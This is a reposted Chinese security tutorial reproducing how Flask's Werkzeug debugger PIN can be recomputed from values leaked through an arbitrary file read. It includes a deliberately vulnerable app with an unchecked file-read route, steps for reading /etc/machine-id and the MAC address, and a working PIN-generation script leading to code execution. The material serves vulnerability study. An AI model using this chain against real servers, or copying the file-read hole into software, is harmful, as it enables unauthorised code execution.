前言

之前在国赛决赛的时候看到p0师傅提到的关于Flask debug模式下，配合任意文件读取，造成的任意代码执行。那时候就很感兴趣，无奈后来事情有点多，一直没来得及研究。今天把这个终于把这个问题复现了一下

主要就是利用Flask在debug模式下会生成一个Debugger PIN

kingkk@ubuntu:~/Code/flask$ python3 app.py 
 * Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)
 * Restarting with stat
 * Debugger is active!
 * Debugger pin code: 169-851-075

通过这个pin码，我们可以在报错页面执行任意python代码

Flask debug pin安全问题【转载】 - 图1

问题就出在了这个pin码的生成机制上，在同一台机子上多次启动同一个Flask应用时，会发现这个pin码是固定的。是由一些固定的值生成的，不如直接来看看Flask源码中是怎么写的

代码逻辑分析

测试环境为：

Ubuntu 16.04
python 3.5
Flask 0.10.1

一个简单的hello world程序 app.py

# -*- coding: utf-8 -*-
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
    return 'hello world!'
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, debug=True)

用pycharm在app.run下好断点，开启debug模式

由于代码写的还是相当官方的，很容易就能找到生成pin码的部分，大致跟踪流程如下

app.py 
python3.5/site-packages/flask/app.py  772行左右 run_simple(host, port, self, **options)
python3.5/site-packages/werkzeug/serving.py 751行左右 application = DebuggedApplication(application, use_evalex)
python3.5/site-packages/werkzeug/debug/__init__.py

主要就在这个debug/__init__.py中，先来看一下_get_pin函数

def _get_pin(self):
    if not hasattr(self, '_pin'):
        self._pin, self._pin_cookie = get_pin_and_cookie_name(self.app)
    return self._pin

跟进一下get_pin_and_cookie_name函数

def get_pin_and_cookie_name(app):
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.
    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get('WERKZEUG_DEBUG_PIN')
    rv = None
    num = None
    # Pin was explicitly disabled
    if pin == 'off':
        return None, None
    # Pin was provided explicitly
    if pin is not None and pin.replace('-', '').isdigit():
        # If there are separators in the pin, return it directly
        if '-' in pin:
            rv = pin
        else:
            num = pin
    modname = getattr(app, '__module__',
                      getattr(app.__class__, '__module__'))
    try:
        # `getpass.getuser()` imports the `pwd` module,
        # which does not exist in the Google App Engine sandbox.
        username = getpass.getuser()
    except ImportError:
        username = None
    mod = sys.modules.get(modname)
    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, '__name__', getattr(app.__class__, '__name__')),
        getattr(mod, '__file__', None),
    ]
    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [
        str(uuid.getnode()),
        get_machine_id(),
    ]
    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, text_type):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')
    cookie_name = '__wzd' + h.hexdigest()[:20]
    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]
    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num
    return rv, cookie_name

return的rv变量就是生成的pin码

最主要的就是这一段哈希部分

for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, text_type):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

连接了两个列表，然后循环里面的值做哈希

这两个列表的定义

probably_public_bits = [
        username,
        modname,
        getattr(app, '__name__', getattr(app.__class__, '__name__')),
        getattr(mod, '__file__', None),
    ]
    private_bits = [
        str(uuid.getnode()),
        get_machine_id(),
    ]

可以先看一下debug的值，配合debug中的值做进一步分析

Flask debug pin安全问题【转载】 - 图2

可以看到

username就是启动这个Flask的用户

modname为flask.app

getattr(app, '__name__', getattr(app.__class__, '__name__'))为Flask

getattr(mod, '__file__', None)为flask目录下的一个app.py的绝对路径

uuid.getnode()就是当前电脑的MAC地址，str(uuid.getnode())则是mac地址的十进制表达式

get_machine_id()不妨跟进去看一下

def _generate():
        # Potential sources of secret information on linux.  The machine-id
        # is stable across boots, the boot id is not
        for filename in '/etc/machine-id', '/proc/sys/kernel/random/boot_id':
            try:
                with open(filename, 'rb') as f:
                    return f.readline().strip()
            except IOError:
                continue
        # On OS X we can use the computer's serial number assuming that
        # ioreg exists and can spit out that information.
        try:
            # Also catch import errors: subprocess may not be available, e.g.
            # Google App Engine
            # See https://github.com/pallets/werkzeug/issues/925
            from subprocess import Popen, PIPE
            dump = Popen(['ioreg', '-c', 'IOPlatformExpertDevice', '-d', '2'],
                         stdout=PIPE).communicate()[0]
            match = re.search(b'"serial-number" = <([^>]+)', dump)
            if match is not None:
                return match.group(1)
        except (OSError, ImportError):
            pass
        # On Windows we can use winreg to get the machine guid
        wr = None
        try:
            import winreg as wr
        except ImportError:
            try:
                import _winreg as wr
            except ImportError:
                pass
        if wr is not None:
            try:
                with wr.OpenKey(wr.HKEY_LOCAL_MACHINE,
                                'SOFTWARE\\Microsoft\\Cryptography', 0,
                                wr.KEY_READ | wr.KEY_WOW64_64KEY) as rk:
                    machineGuid, wrType = wr.QueryValueEx(rk, 'MachineGuid')
                    if (wrType == wr.REG_SZ):
                        return machineGuid.encode('utf-8')
                    else:
                        return machineGuid
            except WindowsError:
                pass
    _machine_id = rv = _generate()
    return rv

首先尝试读取/etc/machine-id或者 /proc/sys/kernel/random/boot_i中的值，若有就直接返回

假如是在win平台下读取不到上面两个文件，就去获取注册表中SOFTWARE\\Microsoft\\Cryptography的值，并返回

这里就是etc/machine-id文件下的值

Flask debug pin安全问题【转载】 - 图3

这样，当这6个值我们可以获取到时，就可以推算出生成的PIN码，引发任意代码执行

配合任意文件读取

修改一下之前的app.py，增加一个任意文件读取功能，并让index页面抛出一个异常（也就是给一个代码执行点

# -*- coding: utf-8 -*-
import pdb
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def hello():
    return Hello['a']
@app.route("/file")
def file():
    filename = request.args.get('filename')
    try:
        with open(filename, 'r') as f:
            return f.read()
    except:
        return 'error'
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, debug=True)

尝试去获取那6个变量值

username # 用户名
modname # flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__')) # Flask
getattr(mod, '__file__', None) # flask目录下的一个app.py的绝对路径
uuid.getnode() # mac地址十进制
get_machine_id() # /etc/machine-id

首先先获取/etc/machine-id
Flask debug pin安全问题【转载】 - 图4

19949f18ce36422da1402b3e3fe53008

然后是mac地址（我虚拟机中网卡为ens33,一般情况下应该是eth0）

Flask debug pin安全问题【转载】 - 图5

然后还可以利用debug的报错页面获取一些路径信息

Flask debug pin安全问题【转载】 - 图6

这样直接用户名和app.py的绝对路径都能获得到了

然后利用几个值，就可以推算出pin码

import hashlib
from itertools import chain
probably_public_bits = [
    'kingkk',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/home/kingkk/.local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
    '52242498922',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '19949f18ce36422da1402b3e3fe53008'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
print(rv)

算出来pin码为

169-851-075

可以看到和终端输出的pin码值是一样的

kingkk@ubuntu:~/Code/flask$ python3 app.py 
 * Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)
 * Restarting with stat
 * Debugger is active!
 * Debugger pin code: 169-851-075

尝试在debug页面输入一下

成功命令执行

Flask debug pin安全问题【转载】 - 图7